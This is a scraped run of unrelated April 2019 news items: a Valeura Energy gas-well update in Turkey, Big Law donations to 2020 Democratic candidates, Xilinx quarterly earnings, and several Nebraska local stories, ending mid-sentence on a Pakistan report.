onFlow-Testing CALGARY, AB / ACCESSWIRE / April 26, 2019 / Valeura Energy Inc. (TSX:VLE, LSE:VLU) ("Valeura" or the "Company"), the upstream natural gas producer focused on appraising and developing an unconventional gas accumulation in the Thrace Basin of Turkey in partnership with Equinor, is pleased to provide an operations update concerning its Basin Centered Gas Accumulation ("BCGA") appraisal programme. Highlights Devepinar-1 drilled to 4,796 metres with clear indications of over-pressured gas throughout the 1,066 metre gross column in the Teslimkoy and Kesan Formations Inanli-1 pressure measurements confirm the well is significantly over-pressured, and the reservoir stimulation and testing programme is expected to commence in late May With 11 vertical wells now demonstrating high-pressure gas around the basin, the focus for data acquisition and operations is shifting to continued stimulation and production testing of drilled wells SeanGuest, President and CEO Commented: "We areencouraged by the preliminary results we have seen from drilling and loggingDevepinar-1. The data supports our play mapping and confirms thatreservoir and over-pressured gas are present some 20 kilometres away from theYamalik-1 and Inanli-1 wells. At thisstage, we have nearly a dozen wells across the basin that demonstrate thepresence of over-pressured gas and a laterally continuous objective reservoir.This basin is almost a half million acres in size and our recent penetrationshave drilled up to a mile of continuous gross gas column. The scale of theresource is significant, and while we have a very good understanding of the basin'sgeology and the presence of over-pressured gas, we have as yet only partiallystimulated and flow tested one exploration well, Yamalik-1. Our near-term focusis shifting squarely to production testing multiple zones across our new wellsto understand the gas flow characteristics of our reservoir both vertically andlaterally." Story continues Devepinar-1 The Devepinar-1 appraisal well was drilled safely to 4,796 metres, approximately 500 metres deeper than originally planned due to significant gas shows and faster drilling penetration rates. The top of the objective reservoir was encountered at 3,730 metres and the gross 1,066 metres of the Teslimkoy and Kesan Formations is interpreted to be gas-bearing down to the total depth of the well. During drilling operations, formation gas was circulated to surface and flared several times, and much of the deep drilling operation was conducted with mud weights in excess of 0.78 psi/ft to manage gas inflow. The well met all of its drilling objectives and most significantly, confirms the presence of over-pressured, gas-bearing reservoir at the western flank of the mapped BCGA fairway. The log data and the higher penetration rates both indicate that the porosity at Devepinar-1 is higher when compared to the Inanli-1 and Yamalik-1 wells at similar depths. These results greatly increase the Company's understanding of the lateral extent of the reservoir and occurrence of over-pressure related to the Company's basin-wide play mapping. The Devepinar-1 well has multiple zones of interest with the best zones of interest being located in the upper Kesan Formation, as they were in the previously drilled wells. High-grading of potential intervals of interest is now underway, in advance of developing a reservoir stimulation programme, jointly with the Company's partners. The well was operated by Valeura, with costs shared proportionately based on the working interest share of each partner (Valeura 31.5%). Despite the well being drilled deeper than anticipated, drilling and logging operations were conducted below budget. The well is currently being cased and will be left in a state ready for testing and completion. Inanli-1 The Inanli-1 completion programme commenced with a diagnostic fracture injectivity test ("DFIT") to confirm high downhole pressures interpreted from mud weights during drilling. This is a critical step to ensure, among other things, surface equipment for the completion programme is appropriately pressure-rated to ensure safe operations. The lowest DFIT at 4,813 metres confirms a pressure gradient of 0.809 psi/ft (significant over-pressure), in line with observations made at Yamalik-1. A second extended DFIT is currently being conducted on a specific completion zone to establish formation fracture stimulation parameters and pore pressure prior to commencing reservoir stimulation operations. In accordance with the DFIT results, suitable equipment rated for up to 15,000 psi has been sourced internationally and is being imported to Turkey. The Company anticipates all equipment will be on site for the first fracture stimulation operations later in May 2019. The overall goal of the Inanli-1 completion programme is to selectively test key intervals in the approximately 1,600 metre reservoir section and to provide definitive, longer term flow results for each interval. Given the significant vertical interval, the completion has been tailored to test the deepest naturally fractured intervals (initial zones to be completed) to the shallower sweet spots (later in the programme). The programme is designed to include up to 10 fracs in as many as five separate flow zones and will incorporate more sophisticated flow tracing and longer flow periods than the Yamalik-1 completion. In service of this longer test programme, the Company has constructed a pipeline to the location so that gas can be captured through Valeura's local infrastructure and sold to customers. The costs for the Inanli-1 stimulation and testing will be fully carried by Equinor and will complete their earning obligations under the Banarli farm in agreement. Near-termoperations focus Valeura and Equinor have now built a strong understanding of the geology of the BCGA play and the presence of over-pressured gas, based on 11 vertical well penetrations, including Yamalik-1, Inanli-1, Devepinar-1, and eight other legacy wells. The two recent wells have both demonstrated that the over-pressured gas extends down to almost 5,000 metres and that seismic data can be used to help predict natural fracturing ahead of drilling. With a formidable body of new geologic knowledge, appraisal wells that are 20 kilometres apart, and up to a mile of vertical objective reservoir to evaluate, Valeura and Equinor believe the right next step is to focus operations on better understanding the rocks' flow characteristics with the objective to demonstrate commercial flow rates, rather than drilling another vertical well at this time. Accordingly, the KCA Deutag drilling rig will be released. Over the coming months, the completions of the Inanli-1 and Devepinar-1 wells will provide critical data on reservoir zones at varying depths, pressures, fracture density, hydrocarbon maturities and reservoir quality. These flow data will then be used to select the next drilling locations, and to determine whether there are zones that should be considered as early horizontal development well targets. About ValeuraEnergy Valeura Energy Inc. is a Canada-based public company engaged in the exploration, development and production of petroleum and natural gas in Turkey. Since Valeura was established in 2010, the Company has executed a number of transactions and currently holds interests in 20 production leases and exploration licences in the Thrace Basin of Turkey totalling 0.46 MM acres (gross) or on a net basis 0.37 MM acres of shallow rights and 0.26 MM net acres of deep rights. Valeura is appraising an unconventional basin-centered gas accumulation play in the Thrace Basin on its deep rights, whichhas been evaluated by DeGolyer and MacNaughton to hold, effective December 31, 2018, 10.1 Tcfe of estimated working interest unrisked mean prospective resources of natural gas, which includes 236 MMbbl of condensate. By applying 3D seismic, modern reservoir stimulation technology and horizontal and deeper vertical well drilling, Valeura is aiming to achieve commercial scale operations from this tight gas resource. In addition, the Company owns an extensive network of gas gathering and sales infrastructure to support direct marketing of natural gas to end users, and in 2018, produced an average of 4.3 MMcf/d of natural gas from conventional gas accumulations in its shallower rights. Additional information relating to Valeura is also available on SEDAR at www.sedar.com and on the Company's corporate website at www.valeuraenergy.com. For further information please contact: ValeuraEnergy Inc. (General and Investor Enquiries)+1403 237 7102 Sean Guest, President and CEO Steve Bjornson, CFO Robin Martin, Investor Relations Manager Contact@valeuraenergy.com, IR@valeuraenergy.com GMP FirstEnergy (Financial Adviser and CorporateBroker) +44 (0) 20 7448 0200 Jonathan Wright, Hugh Sanderson CanaccordGenuity Limited (Joint CorporateBroker)+44 (0) 20 7523 8000 Henry Fitzgerald-O'Connor, James Asensio CAMARCO(Public Relations, MediaAdviser)+44 (0) 203757 4980 Owen Roberts, Billy Clegg, Monique Perks, Thayson Pinedo Valeura@camarco.co.uk Oil and GasAdvisories & Definitions Prospective resources are those quantities of petroleum estimated, as of a given date, to be potentially recoverable from undiscovered accumulations by application of future development projects. Prospective resources have both an associated chance of discovery and a chance of development. There is no certainty that any portion of the prospective resources will be discovered. If a discovery is made, there is no certainty that it will be developed or, if it is developed, there is no certainty as to the timing of such development or that it will be commercially viable to produce any portion of the prospective resources. Please see the Company's annual information form for the year ended December 31, 2018, which is available under Valeura's issuer profile on SEDAR at www.sedar.com, for more information with respect to the Company's prospective resources, including details regarding risked estimates. Forward-LookingStatements and Cautionary Statements This news release contains certain forward-looking statements and information (collectively referred to herein as "forward-looking information") including, but not limited to: the characteristics and objectives of the Inanli-1 completion programme; Valeura's intent to frac and production test the Inanli-1 well; the timing to commence fracking and testing operations; that Equinor will complete their earning obligations under the Banarli farm in agreement; the assessment of the resources in the test formations; the potential of the Company's unconventional basin-centered gas accumulation play in the Thrace Basin; and the Company's intention to achieve commercial scale operations. Forward-looking information typically contains statements with words such as "anticipate", estimate", "expect", "target", "potential", "could", "should", "would" or similar words suggesting future outcomes. The Company cautions readers and prospective investors in the Company's securities to not place undue reliance on forward-looking information, as by its nature, it is based on current expectations regarding future events that involve a number of assumptions, inherent risks and uncertainties, which could cause actual results to differ materially from those anticipated by the Company. Statements related to "prospective resources" are deemed forward-looking statements as they involve the implied assessment, based on certain estimates and assumptions, that the prospective resources can be profitably produced in the future. Specifically, forward-looking information contained herein regarding "prospective resources" include volumes of prospective resources and the ability to finance future development and, the conversion of a portion of prospective resources into reserves. Forward-looking information is based on management's current expectations and assumptions regarding, among other things: continued political stability of the areas in which the Company is operating; continued safety of operations and ability to proceed in a timely manner; continued operations of and approvals forthcoming from the Turkish government and regulators in a manner consistent with past conduct; future seismic and drilling activity on the expected timelines; the continued favourable pricing and operating netbacks in Turkey; future production rates and associated operating netbacks and cash flow; decline rates; future sources of funding; future economic conditions; future currency exchange rates; the ability to meet drilling deadlines and other requirements under licenses and leases; and the Company's continued ability to obtain and retain qualified staff and equipment in a timely and cost efficient manner. In addition, the Company's work programmes and budgets are in part based upon expected agreement among joint venture partners and associated exploration, development and marketing plans and anticipated costs and sales prices, which are subject to change based on, among other things, the actual results of drilling and related activity, availability of drilling, fracking and other specialised oilfield equipment and service providers, changes in partners' plans and unexpected delays and changes in market conditions. Although the Company believes the expectations and assumptions reflected in such forward-looking information are reasonable, they may prove to be incorrect. Forward-looking information involves significant known and unknown risks and uncertainties. Exploration, appraisal, and development of oil and natural gas reserves are speculative activities and involve a degree of risk. A number of factors could cause actual results to differ materially from those anticipated by the Company including, but not limited to: the risks of currency fluctuations; changes in gas prices and netbacks in Turkey; uncertainty regarding the contemplated timelines and costs for the deep evaluation; the risks of disruption to operations and access to worksites, threats to security and safety of personnel and potential property damage related to political issues or civil unrest in Turkey; potential changes in laws and regulations, the uncertainty regarding government and other approvals; counterparty risk; risks associated with weather delays and natural disasters; and the risk associated with international activity. The forward-looking information included in this news release is expressly qualified in its entirety by this cautionary statement. The forward-looking information included herein is made as of the date hereof and Valeura assumes no obligation to update or revise any forward-looking information to reflect new events or circumstances, except as required by law. See the AIF for a detailed discussion of the risk factors. Additional information relating to Valeura is also available on SEDAR at www.sedar.com . Thisannouncement does not constitute an offer to sell or the solicitation of anoffer to buy securities in any jurisdiction, including where such offer wouldbe unlawful. This announcement is not for distribution or release, directly orindirectly, in or into the United States, Ireland, the Republic of South Africaor Japan or any other jurisdiction in which its publication or distributionwould be unlawful. Neither theToronto Stock Exchange nor its Regulation Services Provider (as that term isdefined in the policies of the Toronto Stock Exchange) accepts responsibilityfor the adequacy or accuracy of this news release. This information is provided by RNS, the news service of the London Stock Exchange. RNS is approved by the Financial Conduct Authority to act as a Primary Information Provider in the United Kingdom. Terms and conditions relating to the use and distribution of this information may apply. For further information, please contact rns@lseg.com or visit www.rns.com. SOURCE: Valeura Energy Inc. View source version on accesswire.com: https://www.accesswire.com/543098/Valeura-Energy-Inc-Announces-Operations-Update Booker-Harris Sens. Cory Booker, D-New Jersey, and Kamala Harris, D-California. Washington Wrap is a weekly look at industry news and Big Law moves shaping the legal business in Washington, D.C. Send news tips and lateral moves to Ryan Lovelace at rlovelace@alm.com. The path to the 2020 Democratic presidential nomination may run through the caucus and primary states early next year, but the starting line is painted across the halls of Big Law in 2019. Former Vice President Joe Biden announced his third presidential bid on Thursday before heading to a Philadelphia fundraiser the same evening. The event was held at the home of megadonors Rhonda and David Cohen, a former Ballard Spahr partner and a senior executive vice president of Comcast, respectively. Headliners of the event included congressmen, a governor, a mayor, a senator, and Steve Cozen, co-founder of Cozen OConnor. Cozens attendance at the fundraiser, which ran attendees $2,800 a head, was not surprising. He is a longtime Democratic donor, including to some of Bidens potential 2020 competitors, such as Sen. Cory Booker of New Jersey. Cozens law firm is not quite ready to endorse #Joe2020, but that doesn't mean it hasn't embraced the candidate. We have lawyers who support both sides of the aisle, including those who have deep connections with several of the current Democratic candidates for president, and the firm will likely support those candidates, said Michael Heller, Cozen OConnor executive chairman and CEO, in a statement. Joe Biden has been a long-time friend of lawyers at our firm and we would expect to support his candidacy as well, including hosting him at our offices. Several others in the crowded Democratic field, or mulling whether to crowd it further, have been leaning on Big Law as well. Last month, New York City Mayor Bill de Blasio spent a weekend in South Carolina that included stumping on the 17th floor of Nelson Mullins Riley & Scarboroughs offices in Columbia. The campaign of Pete Buttigieg, the South Bend, Indiana, mayor, paid Jenner & Block close to $82,000 for legal consulting, and the presidential campaign of Sen. Elizabeth Warren of Massachusetts dropped $80,000 into the pockets of Perkins Coie for consulting, according to filings made public earlier this week. Booker is one of seven Democratic lawmakers running for president who has reportedly sworn off contributions from lobbyists who register with the federal government, but lawyers at big firms are giving readily. Paul, Weiss, Rifkind, Wharton & Garrison employees gave Booker $134,750 in individual donations through the first quarter of 2019, according to the Center for Responsive Politics. Paul Weiss employees have also given more than $137,000 to Sen. Kamala Harris of California, $54,600 to Sen. Kirsten Gillibrand of New York, nearly $17,000 to Sen. Amy Klobuchar of Minnesota, and slightly more than $12,000 to Buttigieg. Harris is a favorite of many Big Law firm lawyers, raking in more than $48,000 in aggregate individual donations from DLA Piper and more than $35,000 from Hueston Hennigan. Klobuchar's Big Law backers at Wachtell, Lipton, Rosen & Katz sent her $26,400, and Julian Castro, the former Housing and Urban Development secretary turned presidential candidate, took in $22,000 from Stris & Maher employees. Wachtell was the biggest source of individual donations to Klobuchar out of any company or business in the Center for Responsive Politics roundup, while Paul Weiss was the largest single source of individual donations for both Booker and Harris. Such donations could go a long way to lifting a Democratic candidate onto the presidential debate stage, given the national party's new rules. For the first time in the party's history, any candidate that gathers contributions from 65,000 unique donors and 200 unique donors across 20 states will be granted access to the nationally televised debate stage. Seven Democrats look to have already qualified for the debate stage through donations alone, according to FiveThirtyEight: Buttigieg, Hawaii Rep. Tulsi Gabbard, Harris, former Texas Rep. Beto O'Rourke, Vermont Sen. Bernie Sanders, Warren, and businessman Andrew Yang. Story continues Law Firm Moves, News, and Notes Speaking of presidential campaigns, President Donald Trumps campaign denied reports of a rift with Jones Day this week. Trump campaign chief operating officer Michael Glassner said in a statement that the campaign hired Michael Best & Friedrich associate Nathan Groth as in-house counsel at Jones Days recommendation. Covington & Burlings global problem-solving group added Daniel Feldman as senior of counsel from Akin Gump Strauss Hauer & Feld. Feldman was the special representative for Afghanistan and Pakistan at the U.S. State Department during President Barack Obama's administration and was a principal adviser to Secretaries of State Hillary Clinton and John Kerry. Nicole Rodgers Houston left her job as Arnold & Porter Kaye Scholers director of marketing communications to open a D.C. office for Baretz+Brunelle, a public relations shop that services the legal industry. After more than seven years at Crowell & Moring, Cari Stinebower joined Winston & Stawn in Washington, D.C., as a partner. She will work in Winstons white-collar, regulatory defense and investigations practice, the firm said. Venable said this week it added P. Randy Seybold as a partner in Washington, D.C. Seybold joins the firms commercial litigation practice from Cozen OConnor. He was also previously counsel at Wilmer Cutler Pickering Hale and Dorr. Simpson Thacher & Bartlett said this week it hired Vanessa Burrows as counsel in Washington, D.C. Burrows, a health care regulatory lawyer, was previously an associate at McDermott Will & Emery. DLA Piper said this week that Carl Wessel returned to the firm as a partner in the firms litigation practice in Washington, D.C. Wessel was previously a partner at DLA Piper before departing in 2016 to join Pfizer, where he was senior vice president, associate general counsel, and chief litigation counsel. Alston & Bird said it has added two partners in the previous two weeks in Washington: Alex Park in the firms corporate transactions and securities practice and Amy Mushahwar in the firms privacy and data security team. Park comes from Womble Bond Dickinson, where he was a partner, and Mushahwar is arriving from Davis Wright Tremaine, where she was a partner. Bass, Berry & Sims said it added Michael Dashefsky as co-chairman of the firms antitrust and trade practices group. Dashefsky was previously Visa Inc.s vice president and associate general counsel for global litigation and competition. Xilinx Inc. XLNX reported fourth-quarter fiscal 2019 earnings of 94 cents per share, lower than the Zacks Consensus Estimate of 96 cents but much higher than the prior-year quarters figure of 70 cents. Revenues surged 30% year over year to $828 million and outpaced the Zacks Consensus Estimate of $819 million too, backed by strength across wireless communications market, which is driven by the 5G momentum. However, higher mix of communications is a persistent overhang on gross margins. Quarter in Detail Product wise, Advanced product revenues soared 55% year over year, contributing 68% to total revenues. Revenues from core products (32% of total) declined 4% from the year-ago quarter. On the basis of end markets, Communications revenues (41% of total revenues) grew 74% year over year. Growth in Wireless market, supported by early 5G production, pre-5G deployments and LTE upgrades, was a primary catalyst. Notably, 5G deployments in South Korea and a very early start of the ramp-up of 5G deployments in China drove results. Broadcast, Consumer & Automotive revenues (14% of total revenues) increased 20% year over year, attributable to an uptick in Automotive, which offset the decline in Broadcast. Industrial, Aerospace & Defense segment revenues (27% of total revenues) inched up 1% on a year-over-year basis, boosted by growth in each end market. Data Center and Test, Measurement & Emulation (TME) revenues (18% of total) decreased 14% from the year-ago period. While TME remained stable, data center declined in the quarter under review. Absence of cryptocurrency-related demand and soft demand for legacy products were a dampener. Moreover, weak memory testing market was also a challenge. Geographically, the company registered year-over-year growth across all four regions. Asia Pacific witnessed maximum growth of 56% followed by Japan with 20%. North America and Europe grew 13% and 24%, respectively. Xilinx, Inc. Price, Consensus and EPS Surprise Story continues Xilinx, Inc. Price, Consensus and EPS Surprise | Xilinx, Inc. Quote Margins Gross margin came in at 67.5%, below the companys guidance, due to higher proportion of wireless in the revenue mix. The company posted non-GAAP operating income of $259 million, up 34% year over year. Operating margin expanded 40 bps to 31.3%. Balance Sheet and Cash Flow Xilinx exited the quarter with cash, cash equivalents and short-term investments of approximately $3.18 billion compared with $3.47 billion sequentially. The company has total long-term debt of about $1.23 billion, deteriorating from $721.6 million reported in the preceding quarter. Xilinx generated cash of $288 million from operations compared with $314 million in the earlier reported quarter. Fiscal 2019 Highlights The company reported more than $3 billion of revenues, up 24% over fiscal 2018 figure. First and second-generation Zynq product revenues grew nearly 60% with strength across applications in communications and automotive, particularly the ADAS, and industrial end markets. In fiscal 2019, Xilinx returned $526 million to shareholders through a combination of buybacks and dividends. The company repurchased 2.4 million shares worth $162 million and paid a total of $364 million in dividends. Outlook Xilinx is changing its revenue reporting structure. Going forward, Communications will be called Wired and Wireless Group (WWG). Data Center Group will be reported separately and include high-performance computing. A&D, Industrial and TME will be called AIT, and the Automotive, Broadcast and Consumer group will be called ABC. For first-quarter fiscal 2020, Xilinx projects revenues in the range of $835-$635 million, which is likely to be driven by growth in both the wired and wireless. Data center is anticipated to resume double-digit growth. Meanwhile, the company predicts AIT to be down with declines in A&D and TME, more than offsetting industrial growth. The company expects ABC to grow in the fiscal first quarter with growth across all end-markets. Gross margin is forecast to be around 66% compared with 69.8% in the year-ago quarter. 5G deployment and a few other product mixes are a threat to this metric. However, the company expects the rebalancing of end market mix to improve its gross margin during the second half. The company hopes to revive the growth momentum in the second half with strength in data center, aerospace and defense, TME and auto while other businesses are likely to witness a modest uptick or remain stable. Operating expenses are projected to be $308 million in the first quarter of fiscal 2020. Management assumes operating expense to grow in the second half on account of higher annual compensation across employee base and increased tape-out expenses. Zacks Rank and Other Stocks to Consider Currently, Xilinx has a Zacks Rank #2 (Buy). A few other top-ranked stocks in the broader Computer and Technology sector are MeetMe, Inc. MEET, Paycom software PAYC and Alteryx, Inc. AYX, all sporting a Zacks Rank #1 (Strong Buy). You can see the complete list of todays Zacks #1 Rank stocks here . Long-term earnings growth rate for MeetMe, Paycom and Alteryx is projected at 20%, 25% and 15.4%, respectively. Radical New Technology Creates $12.3 Trillion Opportunity Imagine buying Microsoft stock in the early days of personal computers or Motorola after it released the worlds first cell phone. These technologies changed our lives and created massive profits for investors. Today, were on the brink of the next quantum leap in technology. 7 innovative companies are leading this 4th Industrial Revolution - and early investors stand to earn the biggest profits. See the 7 breakthrough stocks now>> Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report MeetMe, Inc. (MEET) : Free Stock Analysis Report Paycom Software, Inc. (PAYC) : Free Stock Analysis Report Xilinx, Inc. (XLNX) : Free Stock Analysis Report Alteryx, Inc. (AYX) : Free Stock Analysis Report To read this article on Zacks.com click here. Zacks Investment Research A Minnesota-based manufacturer with locations in both Auburn and Falls City has told employees to expect layoffs next week. Fast Global Solutions, a company that makes products ranging from airline ground support equipment to agricultural sprayers, confirmed that it plans to cut 10-15% of its workforce across all of its locations. The company did not give a reason for the job cuts or provide any other details. Fast Global Solutions has had a plant in Falls City since 1989. It opened the Auburn location last year, setting up shop in the former Ariens Company manufacturing plant. According to the Falls City Economic Development and Growth Enterprise, the company employs 85 people there, making it one of the city's largest employers. The plant in Auburn employs 143 people, according to the Auburn Economic Development Council, which makes it the town's largest for-profit employer. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 In recent years, debates on the death penalty have been solemn and deep in a legislative chamber that was hushed, serious and filled with nearly every senator paying rapt attention. That wasn't the case Thursday. The difference from previous years on the topic was unmistakable, even as the Legislature failed to advance Omaha Sen. Ernie Chambers' repeal bill (LB44) on first round 17-25, with 25 votes needed to advance. At times it appeared only a handful of senators were listening to the debate. Others in the room were having conversations or on their computers or phones. "Colleagues, LB44 is literally a life and death issue," said Lincoln Sen. Kate Bolz. "And I'm not sure that we're even listening to each other." In previous debates she had been present for, Bolz said, the analysis was deep, the attitude was solemn and the way the legislative body conducted itself was different. "This debate deserves passion. It deserves moral questioning. It deserves serious debate," she said. Chambers' bill would repeal the death penalty, less than three years after a majority of Nebraskans voted to keep it. That referendum followed a 2015 vote of the Legislature to repeal capital punishment and an override of Gov. Pete Ricketts' veto of that bill. In 2016, 92 of 93 counties said no to repeal via Referendum 426. The arguments for and against Chambers' bill Thursday boiled down to these: * That it was inappropriate for the Legislature to be discussing a repeal of the death penalty after a majority of Nebraskans voted to keep the ultimate punishment. Repeal would be an override of the voice of the people, opponents of the bill said. "Even if you are fundamentally against the death penalty, or have voted in favor of repeal in the past," said Sen. Julie Slama of Peru, "I implore you to consider that the second house has spoken on this issue. Voting in favor of this bill sets a precedent of flagrant disregard for the voice of the people." * That the death penalty in Nebraska is not carried out fairly and with full information provided to the people of Nebraska, supporters said. "If we are going to have a death penalty," said Lincoln Sen. Matt Hansen, "that does not eliminate our obligation as a separate branch of government to make sure the death penalty is implemented fairly, accurately and transparently. And I think that is something that we have really struggled with as a state." The issue of repeal of the death penalty is a moral one, not to be determined by the outcome of any election, Chambers said. He acknowledged nothing he could say would change anyone's mind. "But I have to do everything I can, as long as I am in the Legislature, to try to stop the state from killing its residents," he said. Lincoln Sen. Adam Morfeld took exception to the emphasis opponents were placing on the Legislature acquiescing to the will of the people, since the people also voted to increase access to Medicaid, but which subsequently has been delayed until October 2020 by the Department of Health and Human Services. Morfeld filed an amendment to Chambers' bill that would have required the Legislature to approve any application to the federal Centers for Medicare and Medicaid Services for a demonstration waiver related to Medicaid expansion. After its discussion, he withdrew it. "We're going to start talking about what it means to be pro-life in this body, and I'm going to start holding you to account," Morfeld told senators. "We're talking about hundreds of Nebraskans who will die, who otherwise would receive care. Hundreds of innocent Nebraskans that you supposedly care about." They will die, he said, because the Legislature for the past seven years has turned a blind eye to Medicaid expansion, and continues to fail to ensure Ricketts and the Department of Health and Human Services follow the rule of law. The death penalty debate occurred in the shadow of the 2018 execution by lethal injection of condemned prisoner Carey Dean Moore. It was the first for Nebraska in 20 years. Reach the writer at 402-473-7228 or jyoung@journalstar.com. On Twitter @LJSLegislature. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Fremont After Five Connection will be meeting May 13 in Midland Universitys dining hall, Ninth and Pebble streets, in Fremont. The theme is Beauty from Head to Toe. Kathryn Graves of Hayesville, Kansas, will present Creating a Capsule Wardrobe. Music will be presented by Don Atwell. Graves also will speak on The Princess Principle. She is a writer, speaker, pastors wife and image consultant. She is the director of a pregnancy care center where she helps women in crisis. The buffet dinner, which costs $14, will begin at 6:45 p.m. Call Merrilee at 402-721-2827 by May 7 to make a reservation. Honoring your reservation is necessary. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 A former Fremont Police Department officer accused of sexually assaulting a child has pleaded not guilty to all charges. Austin R. Williams, 33, appeared in Dodge County District Court on Thursday morning and pleaded not guilty to five counts related to the alleged sexual abuse of a child, including two charges of first degree sexual assault of a child, a class IB felony punishable by 20 years to life in prison. Due to Williams position as a city employee, the case has been handed over to a special prosecutor, Omaha attorney John Kohl. Additionally, both Dodge County District Court Judge Geoffrey Hall and County Court Judge Kenneth Vampola have recused themselves from the case. District Court Judge Mark Johnson out of Madison County has been appointed to preside. In court on Thursday, Williams also waived his right to a speedy trial, and Johnson set a telephonic status hearing for Aug. 26 at 9 a.m. In February, after the charges were made public, Williams attorney James Scarff vowed to vigorously defend this case, and argued that the evidence, collected by the Nebraska State Patrol, was severely lacking. We have cooperated throughout this whole investigation, he said. Weve never run from it. Williams is accused of inappropriately touching a minor girl repeatedly, beginning when she was 11 years old. The girl was interviewed by investigators on Aug. 10, 2018, and in an affidavit filed by the Nebraska State Patrol, she reported the alleged abuse began approximately 1.5 to two years prior to the date of the interview. She reported the most recent incident occurring in May or June 2018. Williams worked for the Fremont Police Department beginning in July 2013 and was promoted to Sergeant in June 2018. He was placed on administrative leave in August, when the State Patrol began its investigation. His employment was terminated the same week the charges were filed in February. Love 0 Funny 0 Wow 1 Sad 0 Angry 7 Sign up for our Crime & Courts newsletter Get the latest in local public safety news with this weekly email. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. When he leaves the top position at the University of Nebraska system later this year, Hank Bounds will return to the classroom at the University of South Alabama. Bounds, NU's seventh president, announced March 25 he would step down from his leadership role and return to the South with his wife, Susie, and the couple's two children. The Mississippi native was named president of NU in 2015 after serving as a high school teacher, principal, superintendent, state superintendent and the Mississippi commissioner of higher education. On the day he announced his plans to step down, Bounds said he would work as an educational consultant, but said it was too early to discuss his other plans. Bounds, 52, said Friday evening he will teach university finance and other higher education-related courses to graduate students at South Alabama. "It's something I have some experience in," he joked. NU's budget will be finalized by the Legislature's Appropriations Committee in the coming weeks before it goes to the floor for debate. The president will follow his family to its new home in Fairhope, Alabama, after stepping down in mid-August. Classes at South Alabama start later that month. An annual proxy report filed with the Securities and Exchange Commission by clothing and apparel store The Buckle on April 24 indicated Bounds, who was named to the company's board of directors last year, would teach beginning in August at South Alabama, which is located in Mobile. Bounds was recommended to serve another term on the board for The Buckle, which is based in Kearney. He is compensated with 3,000 shares, according to the report, out of more than 20.5 million held by board members. NU is still working to finalize a series of listening sessions at each of its four campuses to hear from students, faculty, staff and other stakeholders about what skills and characteristics they want to see in the next system president. The Board of Regents, which will hire Bounds' replacement, has not named an interim leader at this time, but has said it plans to conduct a timely national search utilizing a search firm and multiple advisory committees. Reach the writer at 402-473-7120 or cdunker@journalstar.com. On Twitter @ChrisDunkerLJS. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Midland University Vice President for Institutional Advancement, Jessica Janssen, is one of 17 senior-level administrators in higher education nationwide selected by the Council of Independent Colleges to participate in the 20192020 Executive Leadership Academy, the school announced recently. The ELA is designed to prepare provosts and other vice presidents to serve as effective college presidents. Competition for the available places in the program was intense, said Richard Ekman, CIC President in a release. The review committee found the nomination materials to be most impressive. They, and I, believe that Jessica Janssen has the potential for highly effective leadership as a college or university president. Janssen received a bachelors degree in business administration from the University of Nebraska and a Master of Business Administration degree from Midland University. We value the work CIC does for private institutions like Midland and therefore are thrilled that Jessica was selected to participate in the Executive Leadership Academy program, said Jody Horner, Midland University President. This professional development opportunity aligns perfectly with our universitys vision to be relentlessly relevant. Her selection is well deserved, and we look forward to all that she will bring back to Midland as a result of her participation. Sixty-seven percent of participants in the first Executive Leadership Academy cohort (20112012) have since advanced in the higher education ranks, and 32 percent of participants in a recent cohort (20152016) have already moved up in the ranks. These indicators suggest that CIC is helping to meet the leadership needs of higher education by offering highly effective leadership development programs for modest fees to member institutions, said Ekman. The Executive Leadership Academy is co-sponsored by CIC, the American Association of State Colleges and Universities (AASCU), and the American Academic Leadership Institute (AALI), with generous support from Academic Search, Inc. Linda M. Bleicken, president of AALI, will direct the program. I am sincerely honored to have been nominated and accepted into the Executive Leadership Academy, said Jessica Janssen. At each stage in my career, I have sought increased opportunities to build my skills as a leader, and I look forward to growing through the training, mentoring and leadership development offered through this esteemed program. I am truly humbled to be a part of a cohort of great leaders from public and private institutions from across the country, and cannot wait to soak up every opportunity to learn from their experiences. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Desirae TePoel hopes area residents will take part in a fundraiser to help women battling breast cancer. TePoel, whos from Prague, serves on the board of Pink Bandana, Inc., a nonprofit organization that strives to raise awareness and support for Nebraska woman, ages 40 and under, who are fighting the disease. Each year, the organization hosts a Beat Breast Cancer Mud Volleyball Tournament in Prague. It also recently announced recipients of funds from the 2019 tournament and a scholarship recipient. More than 256 teams register annually for the mud volleyball tournament and the organization welcomes more than 3,000 people to the event. Registration opens at 7 p.m. June 4 for the event scheduled for July 13. Registration costs $180 per team and players must be ages 18 and older. Event sponsorships are now available. It is Pink Bandanas mission to provide a fun and safe environment for participants to play dirty and feel good about it in support of women age 40 and under battling breast cancer, TePoel told the Tribune. The mud volleyball tournament is an absolute blast! Every year, recipients from across the state are selected to receive financial support with the goal of $10,000 each, as they join the Pink Bandana family. During the last 11 years, Pink Bandana has donated more than $250,000 to families in need due to fundraising efforts of the tournament and other Pink Bandana events. Three recipients for the 2019 tournament are Jenae Jindra, Maya Wittmack and Kate Gorman. Jindra, 32, of Clarkson was diagnosed with Stage 1 cancer in April 2018, but after a bilateral mastectomy in June 2018 that diagnosis moved to Stage 3. Wittmack, 29, of Springfield was diagnosed with Stage 3 invasive ductal carcinoma this year just 2 months after getting married. Gorman, 26, of Ralston was diagnosed in October 2018 with Stage 2, high grade invasive ductal adenocarcinoma. TePoel said Pink Bandanas mission is to support families affected by breast cancer, both financially and emotionally. To continue raising awareness and support more families, Pink Bandana also established a scholarship program. The Pink Bandana scholarship (total value $4,000) is intended to recognize outstanding students and assist them in continuing their education. Applicants must be a Nebraska high school senior who has battled breast cancer themselves or has a guardian or biological parent who has battled breast cancer within the past five years. Hannah Tulsie is the 2019 Pink Bandana scholarship recipient. She is a senior at Omaha Christian Academy, who plans to attend Grand Canyon University to study nursing. For more information on the organization or its scholarship program, visit: www.pinkbandana.org. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. A yearlong string of targeted assassinations in western Pakistans North Waziristan region has prompted mass protests and accusations that the countrys powerful military is failing to prevent the return of the Taliban militants. Tribal leaders, activists, and 